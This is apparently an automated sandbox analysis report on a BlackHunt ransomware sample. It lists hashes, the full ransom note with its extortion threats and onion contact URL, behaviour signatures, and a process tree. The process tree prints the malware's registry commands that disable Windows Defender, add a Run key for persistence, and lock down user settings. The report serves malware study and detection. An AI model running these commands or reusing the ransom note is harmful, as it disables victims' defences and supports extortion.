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Analysis

  • max time kernel
    136s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/01/2024, 00:59

General

  • Target

    d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe

  • Size

    707KB

  • MD5

    b49323059d2c6e3bd031d5ec2b935131

  • SHA1

    7260ea18b37bd2e2cabf90ee75a793062a7d3744

  • SHA256

    d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314

  • SHA512

    3c1615fcf2c74552b85be6d59496bdc64297b705c151170fab3583f83d6ef6b609803de23e252b98953e8e6e2f60f02674bcd43c43dcce073bb3e0a96f1dfec4

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1V8lvnh:6uaTmkZJ+naie5OTamgEoKxLWYBh

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> WWpFhtdWR2MKXt2h </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (3347) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 9 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe
    "C:\Users\Admin\AppData\Local\Temp\d1a6f69c2018b195aeb50e3dddccf673054380bb6b4532fd6facb30c8c6a9314.exe"
    1⤵
    • UAC bypass
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:384
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
        PID:2256
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
          3⤵
          • Modifies registry class
          PID:4244
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:696
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
          • Modifies registry class
          PID:536
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4272
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
          3⤵
          • Modifies registry class
          PID:4200
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2340
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
            PID:4324
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
          2⤵
            PID:1392
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
              3⤵
              • Adds Run key to start application
              PID:2260
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:4616
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
              3⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:1572
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3668
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
              3⤵
                PID:4224
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:700
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                3⤵
                  PID:508
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3852
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                  3⤵
                    PID:4444
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4172
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                    3⤵
                      PID:428
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2188
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                      3⤵
                        PID:3276
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                      2⤵
                        PID:2608
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                          3⤵
                            PID:5060
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3132
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                            3⤵
                              PID:1340
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:3876
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:2476
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                2⤵
                                  PID:4480
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                    3⤵
                                      PID:3684
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                    2⤵
                                      PID:1260
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                        3⤵
                                          PID:3448
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
